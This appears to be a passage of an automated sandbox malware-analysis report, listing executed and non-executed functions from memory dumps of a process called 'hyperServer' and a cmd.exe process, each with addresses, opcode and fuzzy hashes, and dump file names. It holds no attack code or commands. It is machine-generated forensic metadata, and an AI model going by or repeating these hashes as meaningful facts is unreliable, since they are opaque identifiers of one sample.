Opcode Fuzzy Hash: e6b714276c8b57699e4ad8f4e67e0dd7b5e2f73ad14926c1b1247eebc5a67f9e
Instruction Fuzzy Hash: A631A572E1D99E8FDB65DBA4C8A05BC7BB1FF59340F5401BAD00AE7295CB246806CB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1BBF70 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b934d2770bd839e4c98796ff20c28cbe9575d9e29623fcc071e3caea04ae3f3
Instruction ID: dc05e1f8a89814a1c3be1e2a654ef01d2986e3a2281bbef7ccedb637ae42a284
Opcode Fuzzy Hash: 6b934d2770bd839e4c98796ff20c28cbe9575d9e29623fcc071e3caea04ae3f3
Instruction Fuzzy Hash: 0E310511A2C5E74BE33A825844B49B47BB1EFA635071946FAD09B9A5CFC42CF8C1CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1BD085 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eefc5eeb41ed1ce6bbcba3ffbcc2d1caed8b59cb513d81e3d230b694efbeb98
Instruction ID: 600efec572ac52cd12883a050a75876f17e48c395da4a8685d7a4011dbfa07c4
Opcode Fuzzy Hash: 6eefc5eeb41ed1ce6bbcba3ffbcc2d1caed8b59cb513d81e3d230b694efbeb98
Instruction Fuzzy Hash: B4311832E1854BCFFB6CEB9484A59BD7BB1FF45340F50407AD40EE2289DA38A9419B45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1BA422 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b741ac5cc5f70c3a89394559d05cfa77c9991b4608b7bb1c1e9b2d0faa8b23f
Instruction ID: 5f0e3ad2b1820942b1baf63bdbb77d3b196975b7401205a0fca7f658a064db76
Opcode Fuzzy Hash: 8b741ac5cc5f70c3a89394559d05cfa77c9991b4608b7bb1c1e9b2d0faa8b23f
Instruction Fuzzy Hash: 61217471B1890A9FDB58DB68D4A1AB8F3A1FF58350B108179E05ED7686CF24BD11CF84

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAD7E81 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 198ba634b35bb50cec7a64bb35c87610ed9fc12d764daaefc79bad704dd3a0d1
Instruction ID: 2638b6f540d69f1ba0b3bb1af383915e3c035ae8e6958887bca6e00392c3a83e
Opcode Fuzzy Hash: 198ba634b35bb50cec7a64bb35c87610ed9fc12d764daaefc79bad704dd3a0d1
Instruction Fuzzy Hash: EE319970A0651E8AEBB8DB44C864BE9B3B1FB94300F4141F9D04DA2295DEB42FC48F80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAD0B87 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f0413101a4d198d1ad1428c77ab9b1078f0f0f228eb6f49a417876e3501864f
Instruction ID: ec308d9475f8b0286278a10045b947115a6b183e27deebfe3757101e933bd6f9
Opcode Fuzzy Hash: 6f0413101a4d198d1ad1428c77ab9b1078f0f0f228eb6f49a417876e3501864f
Instruction Fuzzy Hash: 8021D131A2964D8FDB55EF68D8555ED77A0FF58314F010276E84DD3160D730A664CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1B9E79 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 874e7189ebbebc73fd1799f9bc7014941a2c29047c71036050dd2a6b60168bdb
Instruction ID: 4976e06b3f50c93da244d1a645d079a7e99d5da439fcc3667d929ee5ed91b46c
Opcode Fuzzy Hash: 874e7189ebbebc73fd1799f9bc7014941a2c29047c71036050dd2a6b60168bdb
Instruction Fuzzy Hash: 43214D31E0995A8FDBACDB58C4659BDB7B0EF58310F0441BDE04AE3295CE35A941CF04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAD11A2 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f03688313fdc5d949afb29dcac03561a276425e7001115e1f68259597f0a999
Instruction ID: 38ba9c99b0b8fa39b561458cfde240a273c26f367ef8da947b87265dabc203ed
Opcode Fuzzy Hash: 6f03688313fdc5d949afb29dcac03561a276425e7001115e1f68259597f0a999
Instruction Fuzzy Hash: 9D211030A1491D8FEB94EF98C8989ADB7F1FF68300B11467AE41DD72A1DF74A941CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAD0C25 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3c641be52c0d8d242cb5a76b47c8ee585e24c792e3db07ebd131ae2c3afbbe1
Instruction ID: 75048bde2305bbb55f37440352547d81e828577cffbdd7c3ec8b71912a77562a
Opcode Fuzzy Hash: b3c641be52c0d8d242cb5a76b47c8ee585e24c792e3db07ebd131ae2c3afbbe1
Instruction Fuzzy Hash: 1E110A36B0D68D4FD3229BA8DC252EE7B70EFC2315F0646B7C0459B1E2DA381619C795

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1BA4EF Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 407b7230881b4d7fef6f1680f04d08b17bdd819d88ae14676c58e2219a528a0b
Instruction ID: e3f5add800214e49f4e486ec24fa02485565bfbf0c15da2fff908ca16e485668
Opcode Fuzzy Hash: 407b7230881b4d7fef6f1680f04d08b17bdd819d88ae14676c58e2219a528a0b
Instruction Fuzzy Hash: 2D113F32B0CA4A8FDBA8DBA858326B877E1FF55350F440179D15DD71D7DE286D018B84

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1B9B61 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3e0a3ab359f5d5af4a357afae65d6fe89b10af00263282a67cfb8a5f33e9d33
Instruction ID: a6c04f3a4576c1053a444c4ad233cf9c213c880e43d8b3ac8c99f6aaf552322a
Opcode Fuzzy Hash: f3e0a3ab359f5d5af4a357afae65d6fe89b10af00263282a67cfb8a5f33e9d33
Instruction Fuzzy Hash: 8311B213F2D6938BF639D2E41A71DBC26709F553A0F1806B6D44EA61DFCC0C28471A9A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BADAF46 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c963fa502f43381f3466dc6fcefea286aee1a5e8e5b7a0e54afc7e28ce9e81c5
Instruction ID: 111e1a267dcbd1de07feaf80461fa9159972a203de55ff87bac8a88737bc3265
Opcode Fuzzy Hash: c963fa502f43381f3466dc6fcefea286aee1a5e8e5b7a0e54afc7e28ce9e81c5
Instruction Fuzzy Hash: F0214A30E0A95E8FD769DB14C8986ADB3B1BF94306F1482F9D00D972A6DA746B84CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAD0C38 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bd1f1a72eab630cc4ac2947b2c9d3efbf64a4ed433774628a01c4c57fe31c97
Instruction ID: 7840082bd9164a3b58bb9e5899ad473056cc0542a158ee1ca5420d6b4b7a899d
Opcode Fuzzy Hash: 1bd1f1a72eab630cc4ac2947b2c9d3efbf64a4ed433774628a01c4c57fe31c97
Instruction Fuzzy Hash: 03112B31B0D64D4FE3229BA8DC212ED7B70EF82315F0646B3C045DB1E2CA381615C795

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1BB020 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e440746cc1926f1089a7e3d3de2c3c9bbc38e940731e5a9fb2ccabaf5b255c00
Instruction ID: 1550f78958af18411035e58745c4537713eb190aa9431b8b4666fc2775eb4eee
Opcode Fuzzy Hash: e440746cc1926f1089a7e3d3de2c3c9bbc38e940731e5a9fb2ccabaf5b255c00
Instruction Fuzzy Hash: E5117A22708A4A0FCB64DB689460AB937F1EF84344B4006BEE05FCB4D7CE28F509C788

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAD0C40 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96fde66e8d71eb99840234375b8529af3d328c528e64c6fc0a6e6aeb30bee3d4
Instruction ID: 1639ffe685ba11171ff82bad399c54d8fa747a02ff3fdd370b3df0543095b30f
Opcode Fuzzy Hash: 96fde66e8d71eb99840234375b8529af3d328c528e64c6fc0a6e6aeb30bee3d4
Instruction Fuzzy Hash: 02112931A0D28D4FE3229B64CC202EE7B70EF82315F0646B7D045DB1F2CA381618C755

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1BAE9E Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c1a3fb66f94b393c96c5eadb3685333c707fa9f7305dca6a9578107497b100a
Instruction ID: df52eb9a7edeaa633e0121d43b932762eb11f3e589560622db533a12fd22fdeb
Opcode Fuzzy Hash: 2c1a3fb66f94b393c96c5eadb3685333c707fa9f7305dca6a9578107497b100a
Instruction Fuzzy Hash: 0211AB3230858A4FDB04CF6CE4A47F837A0EF80310F1841BEE92AC71D3CA65A664C784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1B7B6D Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13c1cefdde71cb42a62077f4804814084190fd96e453b1dad7705584145d1193
Instruction ID: 2a5c4211571d8cdebeb6a8e9191c4c21dfbef283b97c2ea377ebe2a454b47a4c
Opcode Fuzzy Hash: 13c1cefdde71cb42a62077f4804814084190fd96e453b1dad7705584145d1193
Instruction Fuzzy Hash: 3D01C463E0C6478BEB74E7A445710B836B0EF64390F1401BAE44EA25CAED1CB8445FAA

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAD13B8 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 584fd21c3584e7ed2c70fa58ca658862ea39d5db5a17b27c54bba17ff59a6c7b
Instruction ID: 98b380dbd573386bc6ee527dda00fde4fb6346e395176f64bbb70d6192bd9612
Opcode Fuzzy Hash: 584fd21c3584e7ed2c70fa58ca658862ea39d5db5a17b27c54bba17ff59a6c7b
Instruction Fuzzy Hash: 8A01A87090895D9FDF84EF58C848AAE7BF0FF68305F01456AE41DD3260DB70A590CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAD06AD Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 740dd9f8613845a0c8fab9e3404d9c828b6669ef038cf7ecc9839a96b44f5526
Instruction ID: ccbbeb8603458b2e9167c80d6a054f76773fb183643ce39157be82624cba755e
Opcode Fuzzy Hash: 740dd9f8613845a0c8fab9e3404d9c828b6669ef038cf7ecc9839a96b44f5526
Instruction Fuzzy Hash: 3DF03030A1564E9FEBA0EFA8D8596EE77A0FF94304F114536E41CC21A0DAB46690CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAD06D0 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 751cc7a4b66b0427b936bd955df6ce3849c702fb6869c827226ed945198d2dd3
Instruction ID: 22b5a9b0c2bdcbbe124e7b1237b768d2b228db1d4f92107d65941de586064f1f
Opcode Fuzzy Hash: 751cc7a4b66b0427b936bd955df6ce3849c702fb6869c827226ed945198d2dd3
Instruction Fuzzy Hash: A4F0123091564D9FEF90EFA4C8596EE77E0FF54304F414566E81DD2160DB74A6A0CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAD631D Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49d56353eb4da2c6df37ad196e66bc30ed1068d3cdfa7fdd48780918f859cde3
Instruction ID: fc56708b9787b24d24f14189b972e2bb7c932ecbe639df1e6662d659558165a7
Opcode Fuzzy Hash: 49d56353eb4da2c6df37ad196e66bc30ed1068d3cdfa7fdd48780918f859cde3
Instruction Fuzzy Hash: 51F0B670E0652D8EEBB4DB54DC64BACB7B1EB94305F1142E9D40DA2291CF785E84CF08

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAD7EB4 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccbe0d7a3e39925cecb5ee3bee936c29c23a8d3f96d28729e7674f81a96c6a65
Instruction ID: 9c6300840fccc98e09d9589dd18f5aa0081a8c2cb89c85755c64d877958dde8d
Opcode Fuzzy Hash: ccbe0d7a3e39925cecb5ee3bee936c29c23a8d3f96d28729e7674f81a96c6a65
Instruction Fuzzy Hash: 11F07A30A0A11E8AE7789B40C864BB873F5BB94305F1552F9C48996295DEB86E84CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1B86A8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b171e47a6cc639ab434889d2a3b0e406b9599320842519c793aaa1393c3d0cf
Instruction ID: 3a1308330a7ea8f5ec6bb7a7816059720d7f0ecf818dee7776352282eb3b49ff
Opcode Fuzzy Hash: 0b171e47a6cc639ab434889d2a3b0e406b9599320842519c793aaa1393c3d0cf
Instruction Fuzzy Hash: 8FE0E532E2840F8FEB68DB84C8615FDB770FF48780F10007AD01EF2184DA3828018A58

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1B7BD5 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33dbef8cf557947d67f95887b3236349983b52a32d592ceb6749f45145028849
Instruction ID: bc6164efd76849b6ca59b0fe29f9c72e5064ff743252e2e78afba5ba14066d5c
Opcode Fuzzy Hash: 33dbef8cf557947d67f95887b3236349983b52a32d592ceb6749f45145028849
Instruction Fuzzy Hash: 0EE0DF3281D38A8FD772CB50C9760EC7F70BF05340F1502EBD40816186EB3866189AC6

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAD5BD3 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8e4bfef0671e1532b9d45abd8ea357a2b407a342fed979b9aa99a59fa7203b7
Instruction ID: b09e4d0e238c51eb66a7ed285bff0d460855951b707a18442218fa6762fa4099
Opcode Fuzzy Hash: d8e4bfef0671e1532b9d45abd8ea357a2b407a342fed979b9aa99a59fa7203b7
Instruction Fuzzy Hash: C2E01AB1D4862D8AEB71DF2488557EAB375EF55300F8151E9800D621A5CF742B848F80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1BAE7B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5c8676b47044bbb3c5db7628fae0690d09d220f5ca17a06c309ede9dc85c081
Instruction ID: a606eb4be1ceea9f87bd557c3d509a30995098010543aab463d14fd33fed22b5
Opcode Fuzzy Hash: f5c8676b47044bbb3c5db7628fae0690d09d220f5ca17a06c309ede9dc85c081
Instruction Fuzzy Hash: 4AD0C923B0D61385F17946914170239A1B04F54380E20043DE0AFA18C9CE2CBE416E0E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1BA3C1 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbf784f9980aa1569ffb50952dab95f624257e657ee0d49720e34f175724abea
Instruction ID: 98039fbc4d46322f4bdf25b8c9d8b04c895b75fb802f3b7510df547e058ca26f
Opcode Fuzzy Hash: fbf784f9980aa1569ffb50952dab95f624257e657ee0d49720e34f175724abea
Instruction Fuzzy Hash: CCB09212F0C203D2E13400E1047103C00600B05280B100A30A14B661CAEC88AA002998

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFD9BAD087A Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a7a0e91ebf17f049952145d114ecf45f39c4bba6086d798a05647721222fec0
Instruction ID: d446a5512395b29f6f5fae28c376bc4a09a58ae70dbc3b34ebc6f4c6a0200e92
Opcode Fuzzy Hash: 1a7a0e91ebf17f049952145d114ecf45f39c4bba6086d798a05647721222fec0
Instruction Fuzzy Hash: 9A717070A08A4D8FDFA8DF58C855BE977E1FF59310F10412AE84EC7291DB74A985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BC8D46D Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1860805455.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bc80000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ebde17e8b5ade8d47bc7aac86cbc5d3c86809924ba90bfdc158c37671d1ccf2
Instruction ID: 4598454381e2724b81156683f59cdf5a9cf49fb001835daccda6a810a6585053
Opcode Fuzzy Hash: 8ebde17e8b5ade8d47bc7aac86cbc5d3c86809924ba90bfdc158c37671d1ccf2
Instruction Fuzzy Hash: A831F474E08A1D8FCF88DF98D491AEDBBF1FB69300F2011AED019E3291CA35A941CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAD09B0 Relevance: 5.2, Strings: 4, Instructions: 177COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD9BAD0B56
#{9, xrefs: 00007FFD9BAD0B3E
"s9, xrefs: 00007FFD9BAD0B46
!k9, xrefs: 00007FFD9BAD0B4E

Memory Dump Source

Source File: 00000006.00000002.1857179432.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bad0000_hyperServer.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 367b70410dcb4000ceb60f823b7f134f20fa9658ae24ffe32ce8164d1cf548d0
Instruction ID: b40b9c25f85a181d5a2191a4d28793fe965ff632f18e0aab03f67622050de2c0
Opcode Fuzzy Hash: 367b70410dcb4000ceb60f823b7f134f20fa9658ae24ffe32ce8164d1cf548d0
Instruction Fuzzy Hash: F641BE02B0956605E33AB7FC78228F96B449FA937FB4847B7F45E8D0EB4D086085C2E5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cmd.exePID: 8120, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9BAA0DA0 Relevance: .3, Instructions: 297COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2244276892.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9baa0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98e73190f999a61920b96ac5f2ef5752d930290102503460c587f8b4258d821f
Instruction ID: 3174c2dfbd55841b2408bc996e34f28a3c0d29b2f514c9e23d89f994aa4774e0
Opcode Fuzzy Hash: 98e73190f999a61920b96ac5f2ef5752d930290102503460c587f8b4258d821f
Instruction Fuzzy Hash: B6A1F471A18A8D8FE7A8DB68C8657A97FE1FF99314F0002BED04CD76E6CAB41815C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAA08D0 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2244276892.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9baa0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6774f073e1801de32bcba05736494fbd75d40afe6fc81c9c1a0508de53fd86e8
Instruction ID: 90e1c54ed3bf75965a93611a09557d204b9d545c3018f525feaa7152376e0468
Opcode Fuzzy Hash: 6774f073e1801de32bcba05736494fbd75d40afe6fc81c9c1a0508de53fd86e8
Instruction Fuzzy Hash: 1151B331E1855D8FDB54EFA8D4A4AEDB7A1FF58329F0405BBE40DD7296CE24A841CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAA090D Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2244276892.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9baa0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591bfefd0aad843d8a56a9516708142b012f9a02641d7220a306b33b05793602
Instruction ID: 673652d3f29b2f4896bc745c557aa0a4bceabadaed25424ae5be28a5b3164765
Opcode Fuzzy Hash: 591bfefd0aad843d8a56a9516708142b012f9a02641d7220a306b33b05793602
Instruction Fuzzy Hash: 7451C231A1855D8FDB54EFA8D4A5AEDB7A0FF58329F0005BBE40DD7296CE34A841CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAA0908 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2244276892.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9baa0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b9530ca0e25ac6a6d063d3429d8dde4b7f17c9a2de178f5e69fed3d8f1c638f
Instruction ID: 465f30290785dca446500ecce75db3eaea9dc1132bbd7c1b74a02c607d250ead
